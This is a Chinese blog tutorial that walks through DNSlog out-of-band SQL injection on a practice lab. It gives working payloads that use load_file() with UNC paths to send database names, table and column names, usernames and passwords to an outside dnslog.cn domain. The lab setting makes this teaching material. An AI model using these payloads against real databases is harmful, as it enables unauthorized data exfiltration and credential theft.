35岁重学网络安全——SQL注入篇(二十七撒花篇)进来撒花啦!

鲁迅先生曾经说过:做安全,先免责!

用户在使用本文信息时,应自行承担风险。本文不对用户因使用本文信息而导致的任何直接或间接损失承担责任。

本文主要内容:DNSlog注入

DNSlog注入

按照分类来说,DNSlog注入属于盲注,但是比盲注的效率要高很多
前提:需要mysql对服务器具有读和写文件的权限,与前面的文件上传一样

  • 如果有文件读写权限,文件上传和DNSlog注入可以一起做,否则都不可以做

load_file()

select load_file('d:\\a.txt');:读取指定路径下的文件的内容
在这里插入图片描述

UNC路径

格式:\servername\sharename,其中\servername是服务器名,sharename是共享资源的名称。
目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename

原理分析

攻击者提交注入语句,让数据库把需要查询的值和域名拼接起来,然后发生DNS查询。攻击者只有能够获取DNS日志,就可以查询到想要的值。
因此需要一个自己的域名,在域名商处配置一条NS记录,然后在NS服务器上获取DNS日志即可。
在这里插入图片描述

推荐平台

http://www.dnslog.cn
http://ceye.io

靶场实战

打开http://www.dnslog.cn,获取一个测试用的域名。
在这里插入图片描述

使用靶场第10节
在这里插入图片描述

判断闭合方式

参数:?id=1" and sleep(3) --+,页面加载耗时3秒,说明是使用双引号进行闭合。
在这里插入图片描述

获取数据库名称

and (select load_file(
	concat(
		"//",
		(select database()),
		".6yltji.dnslog.cn/abc")
	)) --+

使用concat()函数构造UNC路径

  • concat第三个参数最前面一定要有.,用于和前面内容进行拼接
  • concat第三个参数最后面一定要跟一个任意的文件名

在这里插入图片描述

在这里插入图片描述

获取表名

and (select load_file(
	concat("//",(select table_name from information_schema.tables where table_schema=database() limit 0,1),".6yltji.dnslog.cn/abc")
	)) --+

and (select load_file(
	concat("//",(select table_name from information_schema.tables where table_schema=database() limit 2,1),".6yltji.dnslog.cn/abc")
	)) --+

and (select load_file(
	concat("//",(select table_name from information_schema.tables where table_schema=database() limit 3,1),".6yltji.dnslog.cn/abc")
	)) --+

and (select load_file(
	concat("//",(select table_name from information_schema.tables where table_schema=database() limit 4,1),".6yltji.dnslog.cn/abc")
	)) --+

使用limit控制输出表名,不支持使用group_concat函数
在这里插入图片描述

在这里插入图片描述

获取列名

and (select load_file(
	concat("//",(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),".6yltji.dnslog.cn/abc")
)) --+

and (select load_file(
	concat("//",(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),".6yltji.dnslog.cn/abc")
)) --+

and (select load_file(
	concat("//",(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),".6yltji.dnslog.cn/abc")
)) --+

在这里插入图片描述

在这里插入图片描述

获取数据

获取用户名

and (select load_file(concat("//",(select username from users limit 0,1),".6yltji.dnslog.cn/abc"))) --+

在这里插入图片描述

在这里插入图片描述

获取密码

and (select load_file(concat("//",(select password from users limit 1,1),".6yltji.dnslog.cn/abc"))) --+

PS:有时可能由于网络原因,DNS记录刷新不及时。

在这里插入图片描述

在这里插入图片描述

无情的广告时间

哈哈哈哈,又到了大家喜欢的广告时间了,公众号:编码魔坊,喜欢的话给个关注呗,点击下方小卡片,扫码即可关注,谢谢您的关注!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

道人禅(armey)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值